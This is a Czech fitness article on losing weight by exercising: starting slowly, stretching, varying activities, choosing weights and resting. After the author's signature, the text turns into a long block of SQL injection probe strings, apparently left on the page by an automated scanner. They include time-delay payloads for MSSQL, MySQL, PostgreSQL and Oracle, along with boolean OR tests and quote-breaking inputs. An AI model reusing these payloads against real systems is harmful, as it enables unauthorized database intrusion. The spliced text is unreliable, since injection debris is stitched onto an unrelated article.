Nadváhou nebo dokonce i obezitou trpí stále více lidí. Může za to styl života - sedavé zaměstnání, nedostatek pohybu, špatná strava… Pokud mezi takové lidi patříte i vy, ale rozhodli jste se s tím něco udělat, začněte především cvičit!
Cvičením opravdu můžete zhubnout!
Cvičení je pro lidské zdraví prospěšná aktivita, ale aby bylo účinné, je potřeba vědět, jak cvičit a hlavně si vybrat takové, které vás bude bavit a u kterého nějakou dobu určitě vydržíte.
Začínejte pomalu
Na začátku se nic nemá přehánět. Aerobik, strečink, posilování nebo třeba běhání každý den hned od začátku nikam nepovede a můžete si dokonce připravit i nějaké zdravotní problémy. Tělo si prostě nejdřív musí na takovou novinku zvyknout! Úplní začátečníci by měli nejdříve alespoň tři týdny své nové aktivitě věnovat maximálně 1 až 2 dny v týdnu, pokročilejší 3 až 4 dny, a doba by nikdy neměla přesáhnout 30 minut.
Protáhněte se!
Protahování svalů je nejen příjemné, ale také důležité. I v tomto případě ale opět platí, že nic se nemá přehánět, protože dlouhým protahováním si opět můžete ublížit. Správně byste se měli nejdříve cvičením nebo během trochu zahřát a pak začít protahovat svaly, ale vždy jen na dobu maximálně 15 vteřin. V takovém případě vám nehrozí, že si svaly tzv. natáhnete, jako kdybyste to prováděli „za studena“.
Vyhněte se stereotypu
Po několika týdnech s novými pohybovými aktivitami se zcela jistě dostanete do lepší kondice a přichází doba, kdy můžete spojit aerobní a silové cvičení. Pohybové aktivity je také nutné střídat a měnit. Pokud budete každý den třeba běhat, jistě po čase zvládnete bez problémů i delší trasy, ale také vás to s největší pravděpodobností přestane tak bavit. Když běh vystřídáte alespoň dvakrát týdně něčím jiným - třeba jízdou na in-linech, tenisem nebo plaváním – zapojíte i jiné svaly a určitě vás to bude víc bavit.
Měli byste střídat čtyři základní typy cvičení - aerobní pro kondici, silové na svaly, flexibilní na pružnost a ohebnost a balanční pro udržení rovnováhy a stability.
Nezvedejte víc, než je nutné
V posilovně mnoho lidí cvičí na různých strojích se zbytečně velkou váhou. Vždy je dobré se poradit s trenérem, nebo pro výpočet ideální zátěže využít jednoduchou pomůcku: Nejprve se cvik provede s minimální zátěží a pak se postupně přidávají další závaží, když už váhu neuzvednete, je ideální hmotnost závaží dvě třetiny maxima, které v té chvíli máte. S těmito dvěma třetinami by se mělo začínat a každý cvik by měl mít dvanáct opakování. Při zvedání závaží nesmíte přepínat svaly!
Odpočívejte!
Každé lidské tělo - a tedy i to vaše - potřebuje odpočívat! Pokud mu dostatek odpočinku nedopřejete, bude jeho výkonnost klesat a všechno snažení bylo zbytečné. Pokud se při nějakém cvičení dostaví i jen náznaky bolesti svalů nebo kloubů, přestaňte s cvičením do té doby, než se tělo zregeneruje. Utlumením bolesti nějakým prášky a pokračováním v pohybových aktivitách jen zvyšujete riziko úrazu - a o to se přece nesnažíte!
Zdeněk Urban
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+147-147) --
-1" OR 3*2<(0+5+147-147) --
-1" OR 3+147-147-1=0+0+0+1 --
-1" OR 2+147-147-1=0+0+0+1 --
-1' OR 3*2>(0+5+728-728) or 'g1B3Stqk'='
-1' OR 3*2<(0+5+728-728) or 'g1B3Stqk'='
-1' OR 3+728-728-1=0+0+0+1 or 'g1B3Stqk'='
-1' OR 2+728-728-1=0+0+0+1 or 'g1B3Stqk'='
-1' OR 3*2>(0+5+199-199) --
-1' OR 3*2<(0+5+199-199) --
-1' OR 3+199-199-1=0+0+0+1 --
-1' OR 2+199-199-1=0+0+0+1 --
-1 OR 3*2>(0+5+389-389)
-1 OR 3*2<(0+5+389-389)
-1 OR 3+389-389-1=0+0+0+1
-1 OR 2+389-389-1=0+0+0+1
-1 OR 3*2>(0+5+864-864) --
-1 OR 3*2<(0+5+864-864) --
-1 OR 3+864-864-1=0+0+0+1 --
-1 OR 2+864-864-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@6oYyh
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
tPVIYoco')) OR 846=(SELECT 846 FROM PG_SLEEP(15))--
9JPzFpOk') OR 193=(SELECT 193 FROM PG_SLEEP(15))--
wBlk4NER' OR 116=(SELECT 116 FROM PG_SLEEP(15))--
-1)) OR 189=(SELECT 189 FROM PG_SLEEP(15))--
-5) OR 726=(SELECT 726 FROM PG_SLEEP(15))--
-5 OR 942=(SELECT 942 FROM PG_SLEEP(15))--
ByQkAar7'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+239-239) --
-1" OR 3*2<(0+5+239-239) --
-1" OR 3+239-239-1=0+0+0+1 --
-1" OR 2+239-239-1=0+0+0+1 --
-1' OR 3*2>(0+5+525-525) or 'bBMN5WLM'='
-1' OR 3*2<(0+5+525-525) or 'bBMN5WLM'='
-1' OR 3+525-525-1=0+0+0+1 or 'bBMN5WLM'='
-1' OR 2+525-525-1=0+0+0+1 or 'bBMN5WLM'='
-1' OR 3*2>(0+5+188-188) --
-1' OR 3*2<(0+5+188-188) --
-1' OR 3+188-188-1=0+0+0+1 --
-1' OR 2+188-188-1=0+0+0+1 --
-1 OR 3*2>(0+5+208-208)
-1 OR 3*2<(0+5+208-208)
-1 OR 3+208-208-1=0+0+0+1
-1 OR 2+208-208-1=0+0+0+1
-1 OR 3*2>(0+5+596-596) --
-1 OR 3*2<(0+5+596-596) --
-1 OR 3+596-596-1=0+0+0+1 --
-1 OR 2+596-596-1=0+0+0+1 --
555
555
555
555
555